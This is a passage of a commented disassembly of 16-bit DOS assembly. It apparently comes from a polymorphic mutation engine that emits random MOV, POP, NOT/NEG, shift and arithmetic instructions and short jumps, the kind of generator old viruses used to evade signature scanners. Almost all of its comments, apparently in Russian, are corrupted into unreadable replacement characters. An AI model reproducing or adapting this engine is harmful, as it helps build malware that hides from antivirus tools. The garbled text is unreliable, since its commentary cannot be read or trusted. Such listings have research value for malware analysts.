08A5 B4 EB mov ah,0EBh ; cmd JMP SHORT <20><><EFBFBD><EFBFBD><EFBFBD><E1ABAE><EFBFBD><EFBFBD>
|
|||
|
08A7 74 0C jz short loc_08B5 ; Jump if RND = 0
|
|||
|
08A9 B4 DF mov ah,0DFh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 横<><E6A8AA>
|
|||
|
08AB 02 E0 add ah,al
|
|||
|
08AD 2C 05 sub al,5
|
|||
|
08AF 72 04 jc short loc_08B5 ; Jump if carry Set
|
|||
|
08B1 B4 70 mov ah,70h ; JMP SHORT <20><> <20><EFBFBD><E1ABAE><EFBFBD>
|
|||
|
08B3 02 E0 add ah,al
|
|||
|
08B5 loc_08B5:
|
|||
|
08B5 8A C4 mov al,ah
|
|||
|
08B7 32 E4 xor ah,ah ; Zero register
|
|||
|
08B9 5A pop dx
|
|||
|
;-------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ᨢ <20><><EFBFBD><EFBFBD>ଠ<EFBFBD><E0ACA0><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室
|
|||
|
08BA 2E: FF 36 06BE push cs:StackCounter ;Ŀ
|
|||
|
08BF 43 inc bx ; <20> <20><><EFBFBD><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室
|
|||
|
08C0 53 push bx ; <20>
|
|||
|
08C1 4B dec bx ;<3B><>
|
|||
|
08C2 52 push dx
|
|||
|
08C3 EB B6 jmp short loc_087B
|
|||
|
sub_0892 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20>맮<EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><>ନ<E0ACA8><E0AEA2><EFBFBD><EFBFBD> ᬥ饭<E1ACA5><E9A5AD> <20><><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
;==============================================================================
|
|||
|
sub_08C5 proc near
|
|||
|
08C5 E8 0001 call sub_08C9 ; <20><> <20><><EFBFBD> <20><> <20><><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -
|
|||
|
; <20><><EFBFBD>祢<EFBFBD><E7A5A2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
08C8 loc_ret_08C8:
|
|||
|
08C8 C3 retn
|
|||
|
sub_08C5 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> ᬥ饭<E1ACA5><E9A5AD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪮<EFBFBD><E2AAAE> <20><><EFBFBD><EFBFBD>室<EFBFBD> (SHORT)
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD> : SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ⮫쪮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠, <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>⪠<EFBFBD><E2AAA0>, <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
;==============================================================================
|
|||
|
sub_08C9 proc near
|
|||
|
08C9 2E: 8F 06 0921 pop cs:data_0921
|
|||
|
08CE 5A pop dx
|
|||
|
08CF 8B CB mov cx,bx ; ⥪<>騩 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬<EFBFBD><E3A5AC><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
08D1 loc_08D1:
|
|||
|
08D1 5E pop si
|
|||
|
08D2 0B F6 or si,si ; Mark-end ?
|
|||
|
08D4 74 48 jz short loc_091E ; Jump to exit if YES
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
08D6 58 pop ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> <20> <20><><EFBFBD><EFBFBD>稪<EFBFBD>
|
|||
|
; <20>⥪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>-
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
08D7 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20><> <20>⮬ <20><><EFBFBD><EFBFBD>⪥ <20><> <20>⥪<EFBFBD><E2A5AA>
|
|||
|
; <20><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
08DD 74 0F je short loc_08EE ; <20><><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><>祣<EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20><>⠥<EFBFBD><E2A0A5><EFBFBD> <20><><EFBFBD>४<EFBFBD><E0A5AA><EFBFBD><E0AEA2><EFBFBD> <20>⥪ <20> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
08DF 2E: 87 06 06BE xchg cs:StackCounter,ax
|
|||
|
08E4 2E: 2B 06 06BE sub ax,cs:StackCounter
|
|||
|
08E9 E8 FF53 call sub_083F
|
|||
|
08EC EB 0B jmp short loc_08F9
|
|||
|
08EE loc_08EE:
|
|||
|
08EE 2E: 3B 06 06BE cmp ax,cs:StackCounter
|
|||
|
08F3 73 04 jae short loc_08F9 ; Jump if above or =
|
|||
|
08F5 2E: A3 06BE mov cs:StackCounter,ax
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
08F9 loc_08F9:
|
|||
|
08F9 8B C3 mov ax,bx ; Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ﭨ<EFBFBD> <20><> ⥪<>饣<EFBFBD>
|
|||
|
08FB 2B C6 sub ax,si ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
08FD 48 dec ax ; <20> <20><><EFBFBD><EFBFBD><EFBFBD> 128 <20><><EFBFBD><EFBFBD> ?
|
|||
|
08FE 3D 0080 cmp ax,80h ; <20><>
|
|||
|
0901 72 14 jb short loc_0917 ; Jump if YES
|
|||
|
0903 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20><> <20>⮬ <20><><EFBFBD><EFBFBD>⪥ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>⥪<EFBFBD><E2A5AA> ?
|
|||
|
0909 75 0A jne short loc_0915 ; Jump if YES
|
|||
|
; <20> <20><> <20>⥪<EFBFBD><E2A5AA> <20><>祣<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD> <20><><EFBFBD><EFBFBD>室 <20> <20><> <20><>ᥤ<EFBFBD><E1A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
090B 8B C1 mov ax,cx ; Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ﭨ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
090D 2B C6 sub ax,si ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
090F 48 dec ax ; <20> <20><><EFBFBD><EFBFBD><EFBFBD> 128 <20><><EFBFBD><EFBFBD> ?
|
|||
|
0910 3D 0080 cmp ax,80h ; <20><>
|
|||
|
0913 72 02 jb short loc_0917 ; Jump if YES
|
|||
|
0915 loc_0915:
|
|||
|
0915 32 C0 xor al,al ; <20>⠢<EFBFBD><E2A0A2> ᬥ饭<E1ACA5><E9A5AD> 0
|
|||
|
0917 loc_0917:
|
|||
|
0917 8D 4C FF lea cx,[si-1] ; CX - <20><><EFBFBD><EFBFBD><EFBFBD> <20>।<EFBFBD><E0A5A4><EFBFBD>饣<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
091A 88 04 mov [si],al ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD><EFBFBD> ᬥ饭<E1ACA5><E9A5AD>
|
|||
|
091C EB B3 jmp short loc_08D1
|
|||
|
091E loc_091E:
|
|||
|
091E 56 push si
|
|||
|
091F 52 push dx
|
|||
|
0920 B8 ???? mov ax,1111h
|
|||
|
data_0921 = word ptr $ - 2
|
|||
|
0923 FF E0 jmp ax ; Register jump
|
|||
|
sub_08C9 endp
|
|||
|
|
|||
|
;===================================================================[MemModify]
|
|||
|
; <20><><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD>뫪<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (MOV mem / POP mem)
|
|||
|
;==============================================================================
|
|||
|
sub_0925 proc near
|
|||
|
0925 E8 00EC call sub_0A14 ; <20><><EFBFBD> ⠬ <20> ᥣ<><E1A5A3><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0928 E8 FA1A call RND_01 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> MOV <20> POP - 1/2
|
|||
|
092B 74 07 jz short loc_0934 ; Jump if RND=0
|
|||
|
092D loc_092D:
|
|||
|
092D E8 FA15 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0930 0C A2 or al,0A2h ; cmd MOV mem, reg
|
|||
|
0932 EB 43 jmp short loc_0977
|
|||
|
0934 loc_0934:
|
|||
|
0934 2E: A1 06BE mov ax,cs:StackCounter
|
|||
|
0938 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; <20><><EFBFBD><EFBFBD> <20><> ᥩ<><E1A5A9><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⪥ <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>⥪<EFBFBD> <><E1ABAE> ?
|
|||
|
093D 74 EE je loc_092D ; Jump if NO
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
093F 2E: FF 0E 06BE dec cs:StackCounter ; 㬥<><E3ACA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>稪 <20>⥪<EFBFBD> <20><> 1
|
|||
|
0944 B0 8F mov al,8Fh ; cmd POP R/M
|
|||
|
0946 E8 FD02 call Write_byte
|
|||
|
0949 B0 06 mov al,6 ; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
; (MOD=00,R/M=disp16)
|
|||
|
094B EB 2A jmp short loc_0977
|
|||
|
sub_0925 endp
|
|||
|
|
|||
|
;===================================================================[MemModify]
|
|||
|
; <20><><EFBFBD>䬥<EFBFBD><E4ACA5><EFBFBD><EFBFBD>᪨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> data_0A43
|
|||
|
;==============================================================================
|
|||
|
sub_094D proc near
|
|||
|
094D E8 00C4 call sub_0A14 ; <20><><EFBFBD> ⠬ <20> ᥣ<><E1A5A3><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0950 B8 000C mov ax,0Ch
|
|||
|
0953 E8 F9F2 call RND_0_AX
|
|||
|
0956 96 xchg si,ax
|
|||
|
0957 2E: 8A 84 0A43 mov al,cs:data_0A43[si]
|
|||
|
095C 34 02 xor al,2 ; <20><><EFBFBD>塞 <20><><EFBFBD>ࢫ<EFBFBD><E0A2AB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>뫪<EFBFBD>
|
|||
|
; १<><E0A5A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
095E EB 6A jmp short loc_09CA
|
|||
|
sub_094D endp
|
|||
|
|
|||
|
;===================================================================[MemModify]
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 NOT/NEG <20> INC/DEC <20><><EFBFBD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_0960 proc near
|
|||
|
0960 E8 00B1 call sub_0A14 ; <20><><EFBFBD> ⠬ <20> ᥣ<><E1A5A3><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0963 E8 F9DF call RND_01 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> - 1/2
|
|||
|
0966 74 11 jz short loc_0979 ; Jump if zero
|
|||
|
;-[ <20><><EFBFBD><EFBFBD><EFBFBD> Grp 2/3 ]-[ cmd DEC/INC ]--------------------------------------------
|
|||
|
0968 E8 F9DA call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
096B 0C FE or al,0FEh
|
|||
|
096D E8 FCDB call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0970 E8 F9BE call RND_0_FF
|
|||
|
0973 24 08 and al,00001000b ; <20><><EFBFBD> MOD=00
|
|||
|
0975 0C 06 or al,00000110b ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樥<EFBFBD> disp16
|
|||
|
0977 loc_0977:
|
|||
|
0977 EB 63 jmp short sub_09DC ; <20><><EFBFBD>ନ<E0ACA8><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨
|
|||
|
;-[ <20><><EFBFBD><EFBFBD><EFBFBD> Grp 1 ]-[ cmd NOT/NEG ]----------------------------------------------
|
|||
|
0979 loc_0979:
|
|||
|
0979 E8 F9C9 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
097C 0C F6 or al,0F6h
|
|||
|
097E E8 FCCA call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0981 E8 F9AD call RND_0_FF
|
|||
|
0984 24 08 and al,00001000b ; <20><><EFBFBD> MOD=00
|
|||
|
0986 0C 16 or al,00010110b ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樥<EFBFBD> disp16
|
|||
|
0988 EB 52 jmp short sub_09DC ; <20><><EFBFBD>ନ<E0ACA8><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨
|
|||
|
sub_0960 endp
|
|||
|
|
|||
|
;===================================================================[MemModify]
|
|||
|
;
|
|||
|
;==============================================================================
|
|||
|
sub_098A proc near
|
|||
|
098A E8 0087 call sub_0A14 ; <20><><EFBFBD> ⠬ <20> ᥣ<><E1A5A3><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
098D E8 F9A9 call RND_0_F
|
|||
|
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/16 <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Grp1
|
|||
|
; F6 006 xx xx zz - TEST byte ptr [xxxx], zz
|
|||
|
; F7 006 xx xx zz zz - TEST word ptr [xxxx], zzzz
|
|||
|
0990 B2 F6 mov dl,0F6h
|
|||
|
0992 74 21 jz short loc_09B5 ; Jump if zero
|
|||
|
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/16 <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; C6 006 xx xx zz - MOV byte ptr [xxxx], zz
|
|||
|
; C7 006 xx xx zz zz - MOV word ptr [xxxx], zzzz
|
|||
|
0994 B2 C6 mov dl,0C6h
|
|||
|
0996 48 dec ax
|
|||
|
0997 74 1C jz short loc_09B5 ; Jump if zero
|
|||
|
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 14/16 <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ArOp 1/2
|
|||
|
; 80/82 0?6 xx xx zz - ArOp byte ptr [xxxx], zz
|
|||
|
; 81/83 0?6 xx xx zz zz - ArOp word ptr [xxxx], zzzz
|
|||
|
0999 E8 F9A3 call RND_0123
|
|||
|
099C 50 push ax
|
|||
|
099D 0C 80 or al,80h ; AL = 80h..83h
|
|||
|
099F E8 FCA9 call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;--------------- <20><>।<EFBFBD><E0A5A4>塞<EFBFBD><EFA5AC> <20> <20><><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 ------------------------------
|
|||
|
09A2 E8 F991 call RND_0_3F ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
; MOD = 00
|
|||
|
09A5 0C 07 or al,00000111b
|
|||
|
09A7 48 dec ax ; AX = 00???110b (disp16)
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
09A8 loc_09A8:
|
|||
|
09A8 E8 0031 call sub_09DC ; <20><><EFBFBD>ନ<E0ACA8><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨
|
|||
|
; (xxxx)
|
|||
|
;--------------- <20><><EFBFBD>ନ<E0ACA8><E0AEA2><EFBFBD> <20><><EFBFBD>࠭<EFBFBD> (zzzz)
|
|||
|
09AB 58 pop ax
|
|||
|
09AC 48 dec ax
|
|||
|
09AD 74 03 jz short loc_09B2 ; Jump if zero
|
|||
|
09AF E9 FC6B jmp loc_061D ; IM8 (zz)
|
|||
|
09B2 loc_09B2:
|
|||
|
09B2 E9 FC7B jmp loc_0630 ; IM16 (zzzz)
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
09B5 loc_09B5:
|
|||
|
09B5 E8 F98D call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
09B8 50 push ax
|
|||
|
09B9 0A C2 or al,dl
|
|||
|
09BB E8 FC8D call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
09BE B0 06 mov al,00000110b ; MOD=00, R/M=disp16
|
|||
|
09C0 EB E6 jmp short loc_09A8
|
|||
|
sub_098A endp
|
|||
|
|
|||
|
;===================================================================[MemModify]
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>権 <20><><EFBFBD>饭<EFBFBD><E9A5AD>/ᤢ<><E1A4A2><EFBFBD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> = D0h,D1h,D2h,D3h)
|
|||
|
; -= ShiftOperation with mem =- ShftOp [mem],<nn> (nn=1 or CL)
|
|||
|
;==============================================================================
|
|||
|
sub_09C2 proc near
|
|||
|
09C2 E8 004F call sub_0A14 ; <20><><EFBFBD> ⠬ <20> ᥣ<><E1A5A3><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
09C5 E8 F977 call RND_0123
|
|||
|
09C8 0C D0 or al,0D0h ; AX = RND (D0h..D3h)
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
09CA loc_09CA:
|
|||
|
09CA E8 FC7E call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
09CD 92 xchg dx,ax ; DL = <20><><EFBFBD>
|
|||
|
09CE E8 F960 call RND_0_FF ; AX = <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
; <20>.<2E>. <20><>१ <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>室<EFBFBD><E5AEA4> <20><> ⮫쪮 <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> sub_09C2
|
|||
|
; <20><> <20> <20><>㣨<EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD>, <20><> <20>㦭<EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-<2D><><EFBFBD>
|
|||
|
09D1 80 FA 8C cmp dl,8Ch ; <20>⨬ "<22><><EFBFBD>-<2D><><EFBFBD>" <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; MOV r/m, SEG
|
|||
|
09D4 75 02 jne short loc_09D8
|
|||
|
09D6 24 18 and al,00011000b ; <20>.<2E>. <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MOV r/m, SEG
|
|||
|
; <20><><EFBFBD><EFBFBD> reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> 000 <20><> 011, <20><> <20>㦭<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>訩 (<28><><EFBFBD> reg -0xx-) <20><><EFBFBD>
|
|||
|
09D8 loc_09D8:
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD>ࠨ<EFBFBD><E0A0A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪, <20>⮡<EFBFBD> MOD=00, <20> <20><><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
; <20>ந<EFBFBD><E0AEA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> ⮫쪮 <20> <20><><EFBFBD><EFBFBD><EFBFBD>।<EFBFBD>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ᮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> disp16 (R/M=110).
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪ <20><>⮬<EFBFBD>, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塞<EFBFBD><EFA5AC> <20><>१ ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> <20><>饣<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20>ᯮ<EFBFBD>짮<EFBFBD><ECA7AE><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <><E1ABA5>⢨<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>ﭭ<EFBFBD><EFADAD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨.
|
|||
|
|
|||
|
09D8 24 38 and al,38h ; MOD = 00, reg = RND(0..7)
|
|||
|
09DA 0C 06 or al,6 ; r/m = 6 (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⮫쪮 <20> disp16)
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><>ନ<EFBFBD><E0ACA8><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>祩<EFBFBD><E7A5A9> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ந<EFBFBD><E0AEA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨. <20> <20><><EFBFBD><EFBFBD><EFBFBD>⢥ ⠪<><E2A0AA> <20>祥<EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㦥
|
|||
|
; ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> (<28>ன<EFBFBD><E0AEA9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>) <20><><EFBFBD><EFBFBD>⪮<EFBFBD> <20><><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>).
|
|||
|
; <20>ਭ樯 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⠪<><E2A0AA> : <20><><EFBFBD><EFBFBD> <20><>饥 <20><> (ࠧ<><E0A0A7><EFBFBD>) 㦥 ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
